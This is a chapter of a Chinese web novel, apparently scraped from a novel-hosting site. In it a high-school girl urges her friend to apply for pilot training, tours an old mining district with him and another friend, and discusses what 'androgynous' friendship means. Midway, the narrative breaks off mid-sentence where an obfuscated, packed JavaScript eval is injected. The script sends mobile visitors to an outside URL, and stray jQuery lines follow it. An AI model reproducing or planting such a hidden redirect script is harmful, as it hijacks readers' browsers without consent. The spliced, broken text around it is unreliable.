文趣网 > 其他小说 > 学渣修炼手册 > 41. 雌雄同体
    未来会是什么样子呢?好像高三的学生都会对未来有些幻想,他们迫切渴望冲出高中的牢笼,飞翔更自由的天空,再也没有晚自习,再也没有做不完的作业,再也没有考试,再也没有家长和老师的唠叨叮嘱。

    所有人都在铆足劲冲刺高考。而在这个时候,班主任为他们的未来带来了另一种可能。

    “招飞信息?”黄安悦看到老师发下来的招飞通告,一脸迷茫。

    “简单点说呢,就是飞行学院每年都会在高三学生中招预备飞行员,条件呢就是要通过各项检查,高考分数过二本线。想要报名的下课后来找我,对了,眼睛近视的就不要抱什么希望了。”

    班主任走后,黄安悦拿着宣传册看了半天,像做贼一样,拿着宣传册就走到了4班门口。

    “飞行员,你去试试?”黄安悦指着上面的招飞信息告诉许远。

    “我,这条件太苛刻了,我不行~”

    “你行,你一定行!”黄安悦作为许远的死党,坚定相信他。

    “我不去!”

    “你要是去了,我就答应你好好学习。”

    “你说的。”

    “我说的。”黄安悦拍着胸脯明志。

    “好!”许远抢过黄安悦手里的招生手册,转头走了,可是走了两步又折返回来,莫名其妙摸了摸黄安悦的头,“你答应我的啊!”

    “知道了,好啰嗦。”黄安悦推了许远一下,跑开了。

    身后留下4班男生起哄的声音,黄安悦已经见怪不怪了,每次她来找许远,他们班男生都要有这一出。

    接下来,许远和其他报名的同学在学校进行了初检,接着去全市进行了第二轮检查,沐辉中学最后只剩下6名同学,要参加最后一轮筛选。地点是南京。

    在通过第二轮筛选的时候,许远就屁颠屁颠地跑过来跟黄安悦炫耀。

    “厉害啊,未来的机长。”黄安悦一脸花痴地看着许远,她还不认识会开飞机的人呢,想象着许远穿上机长服,熟练操控飞机,在蓝天翱翔的样子,黄安悦很期待这一天早一点到来。

    “你这不着调的样子,你开飞机我可不敢坐。”耿茜茹开玩笑揶揄,倒也是真的希望许远可以体检过关。

    “我敢,你要是当上机长了,我第一个去坐你开的飞机。”黄安悦一副舍生忘死的样子,逗得许远哈哈大笑。

    “行,黄安悦,不枉我平时对你掏心掏肺,为了你,我也得努力通过体检,去好好学开飞机。”说完还不忘拿起黄安悦的笔盖,丢到耿茜茹头上。

    “你这个老同学怎么当的,不鼓励我就算了,还倒油。”

    “你又没对我掏心掏肺。”耿茜茹哪里会错失调侃他们两个的机会。

    这句话果然很好使,许远说着要上课了,一溜烟跑走了,只剩下黄安悦坐在座位上,怎么挪动都觉得别扭。

    自从想到许远可能以后要当机长了,黄安悦心中就开始烦躁,不得不承认,她以前一直以为许远可以一直陪着她的,但是现在他有了更好的出路,虽然黄安悦从心底里为他高兴,但是也有一点小小的嫉妒。

    这种小心思就像蚂蚁一样,啃食着黄安悦,在所有人都在抓紧午休的时候,黄安悦却睡不着,她趴在桌子上,眼睛看着前面,发现王清正在侧着脸在看睡着的王会敏,心里一颤,好像发现了别人的秘密。

    刚分科的时候,王清就说过,自己是和王会敏一起长大的,他们的爷爷在同一个煤矿工作,家又住同一个小区,两家关系非常好。

    王清从小学习就不好,读了高中之后,更是一落千丈,于是在分科的时候托了关系让两人分到一个班,让王会敏多帮帮王清。

    黄安悦在心里想着这又是个青梅竹马的故事,王清突然转过头来,看到了睁着眼睛的黄安悦。

    黄安悦心虚地把头埋进臂弯里,像个做错事情的小孩,但是转念一想,自己什么都没做呀。她抬起头来,看到王清用校服把头蒙了起来,也不知道是睡觉了还是害羞了。

    黄安悦想到了许远和耿茜茹,她有些难过,鬼使神差的,她找借口说想要去矿区看看,周末下午拉着许远和耿茜茹一起,不过她那点小心思,早就被耿茜茹看穿了。

    “黄安悦,少看青梅竹马的言情小说,你知不知道,在我眼里,许远是雌雄同体的。”

    许远和耿茜茹带着黄安悦来到他们小时候玩的矿区的时候,三个人对着一片空地发呆。

    “什么时候拆掉了啊?”耿茜茹问许远。

    “我也不知道啊,我只知道前两年煤矿关了之后,我大妈就内退了,你们家去深圳之后,我就回自己家了,几乎没来过。”

    “我从深圳回来的时候,还来过这呢,那时候还好好的。”

    “你还回来看过啊?”

    “当然,我就站在门口,看着里面来来往往的人,就想起我们小时候和哥哥姐姐一起玩的事情,就觉得,如果当初我爸妈没去深圳就好了。”

    两个人就这样聊着,黄安悦一句话都插不进去,她不知道什么矿区的故事,她甚至发现,就算她家里和许远耿茜茹生活的矿区离得并不远,他们也好像隔着遥远的距离。

    “黄安悦,你知道吗?当初我、我堂姐、耿茜茹和她哥哥,我们四个人一起。”看到黄安悦发愣,许远主动讲起了她小时候的故事。

    许远说到哥哥的时候,很明显停顿了一下,但是看到耿茜茹表情没有变化,又接着说了起来,“当时我大妈是矿区保卫科的,我和我堂姐周末经常跟着她来蹭食堂,有时候我爷爷不在家,我们两个就睡在保卫科,陪着我大妈值夜班。”

    “我记得有一次,我爸去出差了,我妈去外地走亲戚了,我和我哥来矿里玩,我奶奶跑过来找,打了我和我哥一顿,我们两个就死活不愿意回家了,我们四个一起睡在保卫科,后来被发现了,你大妈还被要求写了检讨。”耿茜茹说完笑得前仰后合,黄安悦从来没见过耿茜茹笑得这么开心过。

    “那你爸是干什么的呢?”黄安悦问。

    “耿茜茹的爸爸和我大伯是下井的,就是煤炭工人。”许远抢着回答,让黄安悦很不开心,就你知道是吗,耿茜茹是没张嘴吗?

    许远带着他们往一个方向走,一排排新建的小区高高矗立着。

    “这个地方就是我们小时候住的地方,后来我爸妈开餐厅了,我就回自己家了。这片地方拆迁之后,所有人都被安排到别的地方,就是我大伯一家现在住的地方,听我爸说,后来这里荒废了几年,被一家开发商买下来,建了这些小区。”

    “你小时候住在你大伯家?”黄安悦到现在才听懂了一些。

    “嗯,当时我爸妈在乡下,我大伯怕影响我读书,就把我接了过来,后来我爸妈凭着自己努力做生意赚了点钱,也搬到城里了,我就回自己家了。”

    “你大伯家真好。”黄安悦想起了自己的大伯,他好像从来没有对自己有多好。

    “我爷爷总觉得当初亏欠了我爸爸和我姑,没有让他们端上铁饭碗,幸好我姑成绩好,有份不错的工作,大伯也觉得不好意思,总是尽力帮我们家,但其实和他也没有什么关系,都是政策。”

    “许远,你们全家人都那么好。”黄安悦有感而发。

    “哈哈,黄安悦,你可真是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912667|213189||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……”耿茜茹想说什么,最后也没说出口。

    许远和耿茜茹有些失落,但是黄安悦却很开心。晚饭三个人在外面吃,黄安悦饭量比往常多了一倍。

    “黄安悦,学校的饭菜有多难吃?”耿茜茹看着黄安悦狼吞虎咽的样子,很难理解,但是看着许远还在不断往她碗里夹菜,更难理解了。

    黄安悦贼眉鼠眼地看着眼前的两个人,使出自己的杀手锏:傻笑。

    因为她开心啊,矿区大变样了,他们两个想怀念童年也找不到地方了,而且她对许远的了解更深了,都了解到他大伯家去了呢。

    “挺可惜的,一个时代就这样过去了,这座城市是靠着煤炭发展起来的,最后却没有人记得了。”耿茜茹叹息。

    “你是学历史的,这么会不知道,历史的车轮滚滚向前,没有人能阻挡。”

    “虽然话是这么说,但是当自己是车轮碾压过的一粒尘土的时候,总还是想要唏嘘一下的。”

    黄安悦听着两个人的谈话有些傻眼,准确点来说应该是愧疚。

    人家聊着历史发展、时代车轮了,自己居然还在这为了小情小爱沾沾自喜?黄安悦此刻真的想打自己两巴掌,你怎么就这点出息呢?格局,格局呢?

    黄安悦看着两个人聊着,想到之前耿茜茹跟自己说的雌雄同体,晚自习她实在憋不住了,找耿茜茹求证。

    “你说的雌雄同体是什么意思啊?”

    “那么关心我啊?”耿茜茹故意逗黄安悦,因为她发现逗黄安悦是一件很有趣的事情。

    “是啊,你是我同桌,我不关心你关心谁啊?”

    “我哪知道你关心谁啊,搞不好你醉翁之意不在酒。”

    黄安悦突然低下头不说话了,不知道是高三的紧张氛围还是因为许远或者耿茜茹,她最近总是患得患失,一会觉得自己很幸运,可以有好朋友,一会又觉得,这些好朋友,也有别的好朋友,那自己在他们心中的分量到底占了多少,一会又为自己的前途担心。

    黄安悦情绪化越来越严重。

    耿茜茹看到一反常态的黄安悦,也觉得玩笑开过了,赶紧解释:“许远在我这,有时候是男的,可以保护我,有时候是女的,可以和我打成一片。”

    “可是男的就是男的,女的就是女的呀?”黄安悦像突然活过来一样。

    “我们从小一起玩,我就觉得他是个很好的伙伴,对于他的性别和长相,在我这没有任何界定,就好像你每天和一个人在一起,你就不知道他长得好看不好看。”

    黄安悦想了想从小和她一起长大的两个人,突然就明白了耿茜茹的意思。确实,她也没有把王思宇当成男的,但在她眼里,他也不是女的,就是,一个可以和他一起玩的人而已。

    “言情小说里不都是青梅竹马互相喜欢吗?”黄安悦不死心。

    “那我和许远在一起,你会祝福我们吗?”耿茜茹被问烦了,反问黄安悦。

    黄安悦一时语塞,慌乱地拿起一支笔装作要做题的样子。

    “我都说了不要看那些青梅竹马的故事,不靠谱。”耿茜茹说道,但是又觉得黄安悦听不懂,贴在她耳边又说了一句:“许远不喜欢我,我也看不上他。”

    “许远哪不好了,你为什么看不上他。”黄安悦下意识反驳,她就是听不得别人说许远不好。

    “黄安悦,好赖话听不懂是吗?”

    听得懂,她都听得懂。黄安悦抱着耿茜茹胳膊一顿撒娇,被耿茜茹嫌弃的掰开。

    两个人在一起讨论着,根本没看到陈清在前面涨红了脸,还因为没有专心听王会敏讲题,又被批评了一顿。